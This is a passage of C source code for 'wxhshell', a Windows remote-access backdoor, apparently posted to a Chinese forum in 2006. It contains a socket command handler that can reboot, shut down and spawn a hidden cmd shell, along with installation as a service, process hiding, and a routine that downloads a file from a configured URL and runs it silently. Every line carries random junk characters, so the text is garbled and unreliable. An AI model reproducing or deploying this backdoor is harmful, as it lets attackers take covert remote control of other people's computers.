  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N $>Ml!J  
  } =EVB?k ,  
  else { OF*E1B M  
D% *ww'mt0  
    switch(cmd[0]) { gA=Pz[i)p  
  s[7$%|~W  
  // 帮助 h*^JFZb  
  case '?': { }*J04o$oI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M+")*Opq  
    break; Wg%]  
  } }'vQUG u8z  
  // 安装 p*W{*wZ_^  
  case 'i': { /mJb$5=1  
    if(Install()) r2f%E:-0G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JVg}XwR  
    else #.u &2eyqQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n=b!c@f4  
    break; $~q{MX&J  
    } 6DHZ,gWq  
  // 卸载 /QS Nv  
  case 'r': { 5q4wREh  
    if(Uninstall()) +9LzDH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4%}iKoT   
    else G-D}J2r=F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ox ,Rk  
    break; [.l,#-vp  
    } R1hmJ  
  // 显示 wxhshell 所在路径 A]iT uu5p  
  case 'p': { kK6t|Yn&  
    char svExeFile[MAX_PATH]; ,MHK|8!  
    strcpy(svExeFile,"\n\r"); 1WaQWZ:=  
      strcat(svExeFile,ExeFile); dgQ<>+9]6  
        send(wsh,svExeFile,strlen(svExeFile),0); @RB^m(> 5  
    break; iaMl>ua  
    } t(UBs-t  
  // 重启 z*VK{O)o  
  case 'b': { M`7lYw\Or!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @ebY_*  
    if(Boot(REBOOT)) N\s-{7K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k3LHLJZ#  
    else { YO.ddy*59  
    closesocket(wsh); Foj|1zJS_  
    ExitThread(0); maSVqG  
    } UH&1QV  
    break; kb$Yc)+R4  
    } xGOmvn^lQ  
  // 关机 v#9i|  
  case 'd': { A~{vja0?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vx$DKQK@l\  
    if(Boot(SHUTDOWN)) L   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i%i s<'  
    else { v\(6uej^  
    closesocket(wsh); +bso4 }rS  
    ExitThread(0); fM& fqI  
    } ) F -8  
    break; >t9DI  
    } &n?RKcH}d  
  // 获取shell Cw!tB1D  
  case 's': { KWYjN h#*  
    CmdShell(wsh); 3it*l-i\  
    closesocket(wsh); ,y0 &E8Z  
    ExitThread(0); q(46v`u  
    break; D @wIbU  
  } %Ze7d&  
  // 退出 WOgkv(5KN  
  case 'x': { Nj?Q{ztS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E i2M~/  
    CloseIt(wsh); Q4Wz5n1yp7  
    break; sWTa;Qi  
    } VeEa17g&  
  // 离开 ,<7HLV  
  case 'q': { )`<&~>qp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `p)U6J  
    closesocket(wsh); 25 U+L  
    WSACleanup(); =^zGn+@z  
    exit(1); T#e|{ZCbq  
    break; N3Q .4? z9  
        } /&qE,>hd.+  
  } ]T40VGJ:h  
  } mq}uq9<  
o=zl{tZV  
  // 提示信息 <}xgp[O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qs8^qn0A  
} ^\S~rW.3_  
  } H7drDw  
M`iE'x  
  return; [\0>@j}Z  
} -:!Wds  
TQ~a5q  
// shell模块句柄 00-2u~D&  
int CmdShell(SOCKET sock) Om;` "5  
{ J`; 9Z  
STARTUPINFO si; K4RQ{fWpm  
ZeroMemory(&si,sizeof(si)); 00>knCe6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aU.!+e%_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; klc$n07  
PROCESS_INFORMATION ProcessInfo; L[5U(`q[  
char cmdline[]="cmd"; 'aeuL1mz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b!/-9{  
  return 0; %ol1WG9  
} Y~r)WV!G  
svt3gkR0  
// 自身启动模式 [tC=P&<  
int StartFromService(void) 2h@&yW2j  
{ ww+,GnV  
typedef struct A&ceuu  
{ EKuLt*a/  
  DWORD ExitStatus; sw:a(o&$  
  DWORD PebBaseAddress; m.gv?  
  DWORD AffinityMask; 6B b+f"  
  DWORD BasePriority; roi,?B_8  
  ULONG UniqueProcessId; 7 > _vH]  
  ULONG InheritedFromUniqueProcessId; FLG{1dS  
}   PROCESS_BASIC_INFORMATION; 0=9$k  
N]ebKe  
PROCNTQSIP NtQueryInformationProcess; |~v2~   
]X X>h~0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d&ff1(j(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [_KOU2  
zTq"kxn'  
  HANDLE             hProcess; %5n'+-XVj  
  PROCESS_BASIC_INFORMATION pbi; %Yg|QBm|  
_Wp.s]D [  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); " w /Odd  
  if(NULL == hInst ) return 0; 4,=;:#n,J  
ZBQ@S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1bDXv, nD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >C5u>@%9O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k|jr+hmn":  
tQ.H/;  
  if (!NtQueryInformationProcess) return 0; kf95)iLo  
ExFz@6@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "d0D8B7HI@  
  if(!hProcess) return 0; |WT]s B0Eq  
& \C1QkI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j]mnH`#BL  
#B!M,TWf9s  
  CloseHandle(hProcess); h >Z`&  
(*T$:/zI S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2P=~6(  
if(hProcess==NULL) return 0; L{XW2c$h  
V he$vH  
HMODULE hMod; u3Zu ~C  
char procName[255]; X<v1ES$  
unsigned long cbNeeded; P*ZMbAf.  
=L?2[a$2;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^oE#;aS  
u2[L^]|  
  CloseHandle(hProcess); ?O]RQXsZ2  
X]W(  
if(strstr(procName,"services")) return 1; // 以服务启动 uA t{WDHm  
_ib @<%  
  return 0; // 注册表启动 d*U<Ww^q  
} Ue>{n{H"y  
#D ]CuSi  
// 主模块 6y^GMlsI  
int StartWxhshell(LPSTR lpCmdLine) {lppv(U  
{ U+[ "b-c  
  SOCKET wsl; m !i`|]m  
BOOL val=TRUE; h$6~3^g:P  
  int port=0; 0x^lHBYc  
  struct sockaddr_in door; 5x,/p  
e:rbyzf#  
  if(wscfg.ws_autoins) Install(); ]8'PLsS9<w  
t4hc X[  
port=atoi(lpCmdLine);  &Du S*  
T_9o0Qk  
if(port<=0) port=wscfg.ws_port; N9rAosO*  
bu08`P9  
  WSADATA data; l<7SB5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1FT3d  
)$d~HA@B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   );n/G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *!dA/sid  
  door.sin_family = AF_INET; zXbA$c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cHOC>|  
  door.sin_port = htons(port); *=T(ncR['  
NnU`u.$D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ovi^bNQ  
closesocket(wsl); |goK@ <  
return 1; % w  
} Fw}|c  
J`{  o`>  
  if(listen(wsl,2) == INVALID_SOCKET) { n@q- f-2  
closesocket(wsl); }O| 9Qb  
return 1; <jM { <8-  
} d..JW{  
  Wxhshell(wsl); _qo\E=E  
  WSACleanup(); i1bmUKZ8'L  
uotW[L9  
return 0; }-u%6KZ   
cF?0=un  
} ?a1pO#{Dg  
6)20%*[  
// 以NT服务方式启动 +m/n~-6q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7QoMroR  
{ \F""G,AWq{  
DWORD   status = 0; U;!J(Us  
  DWORD   specificError = 0xfffffff; 8yH)9#>  
3iL\<^d*ht  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !?+q7U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IcGX~zWr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E\p"%  
  serviceStatus.dwWin32ExitCode     = 0; .;l`VWP  
  serviceStatus.dwServiceSpecificExitCode = 0; o)R<sT  
  serviceStatus.dwCheckPoint       = 0; G!h75G20  
  serviceStatus.dwWaitHint       = 0; l/\D0\x2  
sNP ;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ( 5uSqw&U  
  if (hServiceStatusHandle==0) return; (Fq:G) $  
8Kk41=  
status = GetLastError(); %}XyzGq{  
  if (status!=NO_ERROR) M* {5> !\  
{ S_ ;r!.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8lA,3'z  
    serviceStatus.dwCheckPoint       = 0; W,_2JqQp  
    serviceStatus.dwWaitHint       = 0; @YG-LEh  
    serviceStatus.dwWin32ExitCode     = status; h ^s8LE3  
    serviceStatus.dwServiceSpecificExitCode = specificError; JO90TP $  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I`i"*z  
    return; @7V~CNB+  
  } >VX'`5r>uw  
ZE~zs~z|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nr,Z0  
  serviceStatus.dwCheckPoint       = 0; ErQ6a%~,  
  serviceStatus.dwWaitHint       = 0; UP%6s:>:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {Qn{w%!|  
} /H3w7QU  
mZjpPlJ  
// 处理NT服务事件,比如:启动、停止 xtLP 4VL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x;Slv(|M  
{ <^_crJONom  
switch(fdwControl) 0r8Wv,7Bo  
{ @2 *Q*  
case SERVICE_CONTROL_STOP: =)gdxywoC  
  serviceStatus.dwWin32ExitCode = 0; WIpV'F|t]`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fGRV]6?V  
  serviceStatus.dwCheckPoint   = 0; 4"\cA:9a  
  serviceStatus.dwWaitHint     = 0; .aVtd [  
  { vUOl@UQ5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kpa$1x  
  } D!.1R!(Z  
  return; w*;"@2y;eY  
case SERVICE_CONTROL_PAUSE: `u PLyS.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6]kBG?m0  
  break; Kr `/sWZ  
case SERVICE_CONTROL_CONTINUE: ecR)8^1 '  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HXztEEK6  
  break; bS954d/  
case SERVICE_CONTROL_INTERROGATE: %\n|2*r  
  break; f fBd  
}; AQT_s9"0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4l6 8+  
} M}f(-,9  
CjP<'0gT  
// 标准应用程序主函数 r@bh,U$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T#*H  
{ 22U`1AD3U  
S6 a\KtVa  
// 获取操作系统版本 (Cfb8\~  
OsIsNt=GetOsVer(); QCE7VV1Rw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0Oc?:R'$  
$(]nl%<Q  
  // 从命令行安装 Zj'%c2U_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0\X<vrW  
i1-%#YYF(  
  // 下载执行文件 /]MelW  
if(wscfg.ws_downexe) { %Ta"H3ZW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x\f~Gtt7Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); Gn_DIFa  
} (V]3w  
P)J-'2{  
if(!OsIsNt) { 't0M+_J  
// 如果时win9x,隐藏进程并且设置为注册表启动 fwV2b<[  
HideProc(); Y?3tf0t/  
StartWxhshell(lpCmdLine); ahy6a,)K~  
} 8T6NG!/  
else hh&$xlO)(v  
  if(StartFromService()) $~W5! m  
  // 以服务方式启动 &} `a"tYr  
  StartServiceCtrlDispatcher(DispatchTable); =!xX{o?64  
else q CYu@Ho  
  // 普通方式启动 wWiYxBeN  
  StartWxhshell(lpCmdLine); Q}KOb4D  
J ou*e%  
return 0; tqCkqmyC  
}
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只看该作者 1 发表于: 2006-10-10
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